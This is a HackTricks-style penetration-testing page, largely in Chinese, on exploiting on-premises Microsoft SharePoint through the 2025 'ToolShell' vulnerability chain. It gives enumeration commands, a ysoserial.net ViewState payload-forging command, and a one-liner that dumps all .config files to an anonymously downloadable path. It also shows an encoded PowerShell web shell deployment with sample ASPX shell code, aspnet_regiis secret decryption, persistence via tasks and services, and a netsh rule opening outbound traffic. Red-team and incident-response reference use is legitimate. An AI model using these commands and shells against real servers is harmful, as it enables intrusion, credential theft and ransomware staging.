Microsoft SharePoint – Pentesting & Exploitation

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

Microsoft SharePoint (on-premises) 构建于 ASP.NET/IIS 之上。大多数经典的 web 攻击面(ViewState、Web.Config、web shells 等)因此依然存在,但 SharePoint 还包含数百个专有的 ASPX 页面和 web 服务,显著扩展了暴露的攻击面。本页收集了在 SharePoint 环境中用于 enumerate、exploit 和 persist 的实用技巧,重点关注 Unit42 披露的 2025 exploit chain(CVE-2025-49704/49706/53770/53771)。

1. Quick enumeration

# favicon hash and keywords
curl -s https://<host>/_layouts/15/images/SharePointHome.png
curl -s https://<host>/_vti_bin/client.svc | file -  # returns WCF/XSI

# version leakage (often in JS)
curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"

# interesting standard paths
/_layouts/15/ToolPane.aspx               # vulnerable page used in 2025 exploit chain
/_vti_bin/Lists.asmx                     # legacy SOAP service
/_catalogs/masterpage/Forms/AllItems.aspx

# enumerate sites & site-collections (requires at least Anonymous)
python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>

2. 2025 exploit chain (a.k.a. “ToolShell”)

2.1 CVE-2025-49704 – Code Injection on ToolPane.aspx

/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=<payload> 允许任意 Server-Side Include 代码注入页面,这些代码随后由 ASP.NET 编译。攻击者可以嵌入执行 Process.Start() 的 C# 并投放恶意 ViewState。

2.2 CVE-2025-49706 – Improper Authentication Bypass

同一页面信任 X-Forms_BaseUrl 头来确定站点上下文。通过将其指向 /_layouts/15/,可以绕过根站点强制的 MFA/SSO unauthenticated

2.3 CVE-2025-53770 – Unauthenticated ViewState Deserialization → RCE

一旦攻击者在 ToolPane.aspx 中控制了一个 gadget,就可以提交一个 unsigned(或仅 MAC)__VIEWSTATE 值,该值会触发 w3wp.exe 内的 .NET 反序列化,导致代码执行。

如果启用了签名,从任意 web.config 中窃取 ValidationKey/DecryptionKey(见 2.4),并使用 ysoserial.netysodom 伪造 payload:

ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" |
ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt

For an in-depth explanation on abusing ASP.NET ViewState read:

Exploiting __VIEWSTATE without knowing the secrets

2.4 CVE-2025-53771 – Path Traversal / web.config 泄露

ToolPane.aspx 发送精心构造的 Source 参数(例如 ../../../../web.config)会返回目标文件,允许泄露:

  • <machineKey validationKey="…" decryptionKey="…"> ➜ forge ViewState / ASPXAUTH cookies
  • 连接字符串 & 密钥。

2.5 ToolShell workflow observed in Ink Dragon intrusions

Check Point 绘制了 Ink Dragon 在 Microsoft 发布修复前数月如何将 ToolShell 链路投入实战:

  • Header spoofing for auth bypass – 攻击者向 /_layouts/15/ToolPane.aspx 发送 POST 请求,带上 Referer: https://<victim>/_layouts/15/ 和伪造的 X-Forms_BaseUrl。这些头部会让 SharePoint 认为请求来自受信任的 layout,从而完全跳过前端认证 (CVE-2025-49706/CVE-2025-53771)。
  • Serialized gadget in the same request – 请求体包含攻击者控制的 ViewState/ToolPart 数据,传递到易受影响的服务器端 formatter (CVE-2025-49704/CVE-2025-53770)。载荷通常是 ysoserial.net 链,会在 w3wp.exe 内运行且不会触及磁盘。
  • Internet-scale scanning – 2025 年 7 月的遥测显示他们枚举所有可达的 /_layouts/15/ToolPane.aspx 端点并重放一个泄露的 <machineKey> 对字典。任何从文档复制了示例 validationKey 的站点,即便已打上补丁,仍可能被攻破(签名工作流见 ViewState 页面)。
  • Immediate staging – 成功利用会投放一个 loader 或 PowerShell stager,随后:(1) 转储所有 web.config,(2) 部署一个 ASPX webshell 以备后路访问,(3) 调度本地 Potato 提权以逃逸 IIS worker。

3. Post-exploitation recipes observed in the wild

3.1 Exfiltrate every .config file (variation-1)

cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"

生成的 debug_dev.js 可以匿名下载,并包含 所有 敏感配置。

3.2 部署 Base64-encoded ASPX web shell (variation-2)

powershell.exe -EncodedCommand <base64>

解码后的 payload 示例(已简化):

<%@ Page Language="C#" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
Response.Write(MachineKey.ValidationKey);
// echo secrets or invoke cmd
}
</script>

写入到:

C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx

The shell exposes endpoints to 读取 / 轮换 机器密钥,从而允许在整个 farm 中伪造 ViewState 和 ASPXAUTH cookies。

3.3 混淆变体 (variation-3)

相同的 shell,但:

  • 放置在 ...\15\TEMPLATE\LAYOUTS\
  • 变量名缩减为单字母
  • Thread.Sleep(<ms>) 被加入用于沙箱规避和基于时间的 AV 绕过。

3.4 AK47C2 multi-protocol backdoor & X2ANYLOCK ransomware (observed 2025-2026)

最近的事件响应调查(Unit42 “Project AK47”)展示了攻击者如何在 initial RCE 之后利用 ToolShell 链,在 SharePoint 环境中部署双通道 C2 植入体和勒索软件:

AK47C2 – dnsclient variant

  • 硬编码的 DNS 服务器:10.7.66.10,与权威域 update.updatemicfosoft.com 通信。
  • 消息是 JSON 对象,使用静态密钥 VHBD@H 进行 XOR 加密,hex 编码后嵌入为 子域标签
{"cmd":"<COMMAND>","cmd_id":"<ID>"}
  • 长查询会被分块并以 s 为前缀,然后在服务器端重新组装。
  • 服务器在 TXT 记录中以相同的 XOR/hex 方案回复:
{"cmd":"<COMMAND>","cmd_id":"<ID>","type":"result","fqdn":"<HOST>","result":"<OUTPUT>"}
  • 版本 202504 引入了简化格式 <COMMAND>::<SESSION_KEY> 和分块标记 12a

AK47C2 – httpclient variant

  • 重用相同的 JSON & XOR 例程,但通过 libcurlHTTP POST body 中发送十六进制 blob(CURLOPT_POSTFIELDS 等)。
  • 相同的任务/结果 工作流允许:
  • 任意 shell 命令执行。
  • 动态睡眠间隔和 kill-switch 指令。

X2ANYLOCK ransomware

  • 通过 DLL side-loading 加载的 64 位 C++ payload(见下)。
  • 对文件数据使用 AES-CBC,并用 RSA-2048 包装 AES 密钥,然后追加扩展名 .x2anylock
  • 递归加密本地驱动器和发现的 SMB 共享;跳过系统路径。
  • 丢弃明文说明 How to decrypt my data.txt,其中嵌入了用于谈判的静态 Tox ID
  • 包含内部 kill-switch
if (file_mod_time >= "2026-06-06") exit(0);

DLL side-loading chain

  1. 攻击者在合法的 7z.exe 旁写入 dllhijacked.dll/My7zdllhijacked.dll
  2. SharePoint 启动的 w3wp.exe 调用 7z.exe,由于 Windows 搜索顺序,7z.exe 加载了恶意 DLL,从而在内存中调用勒索软件入口点。
  3. 观察到一个独立的 LockBit loader(bbb.msiclink_x86.execlink_dll_x86.dll)对 shell-code 解密并对 d3dl1.dll 执行 DLL hollowing 以运行 LockBit 3.0。

[!INFO] 相同的静态 Tox ID 在 X2ANYLOCK 与泄露的 LockBit 数据库中都被发现,表明可能存在关联/成员重叠。

3.5 将 SharePoint 战利品 转化为 横向移动

  • 解密每个受保护的节 – 一旦站稳 web 层,滥用 aspnet_regiis.exe -px "connectionStrings" C:\\temp\\conn.xml -pri(或 -px "appSettings")来导出隐藏在 <connectionStrings configProtectionProvider="RsaProtectedConfigurationProvider"> 背后的明文秘密。Ink Dragon 多次通过此方法收集 SQL 登录、SMTP 中继和自定义服务凭据。
  • 在 farms 间重复使用 app-pool 账户 – 许多企业在每个前端使用相同的域账户作为 IIS APPPOOL\SharePoint。在解密 identity impersonate="..." 块或读取 ApplicationHost.config 后,将凭据通过 SMB/RDP/WinRM 在每台同级服务器上测试。在多个事件中,该账户还是本地管理员,允许使用 psexecsc create 或计划任务摆放下一阶段而不触发密码喷洒检测。
  • 滥用泄露的 <machineKey> 值进行内部利用 – 即使 Internet 周界被修补,重复使用相同的 validationKey/decryptionKey 仍允许在相互信任的内部 SharePoint 区域间执行横向 ViewState 利用。

3.6 2025 年入侵中观察到的持久化模式

  • 计划任务 – 一个名为 SYSCHECK(或其它健康主题名称)的一次性任务被创建为 /ru SYSTEM /sc once /st <hh:mm>,以引导下一阶段加载器(通常是被重命名的 conhost.exe)。因为是一次性运行,除非保留历史任务的 XML,否则遥测常常会漏掉它。
  • 伪装的服务 – 通过 sc create 安装诸如 WindowsTempUpdateWaaSMaintainerMicrosoftTelemetryHost 的服务,指向侧加载三件套目录。二进制文件保留其原始的 AMD/Realtek/NVIDIA 签名,但被重命名以匹配 Windows 组件;将磁盘上的文件名与 PE 字段 OriginalFileName 进行比较是快速的完整性检查。

3.7 主机防火墙为中继流量降级

Ink Dragon 经常添加一个宽松的出站规则,伪装成 Defender 维护,以便 ShadowPad/FinalDraft 的流量能从任意端口出口:

netsh advfirewall firewall add rule name="Microsoft MsMpEng" dir=out action=allow program="C:\ProgramData\Microsoft\Windows Defender\MsMpEng.exe" enable=yes profile=any

因为该规则是本地创建的(不是通过 GPO),并且将合法的 Defender 二进制作为 program= 使用,大多数 SOC 基线会忽略它,但它却打开了 Any ➜ Any 出站。


相关技巧

  • IIS post-exploitation & web.config 滥用:

IIS - Internet Information Services

参考资料

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks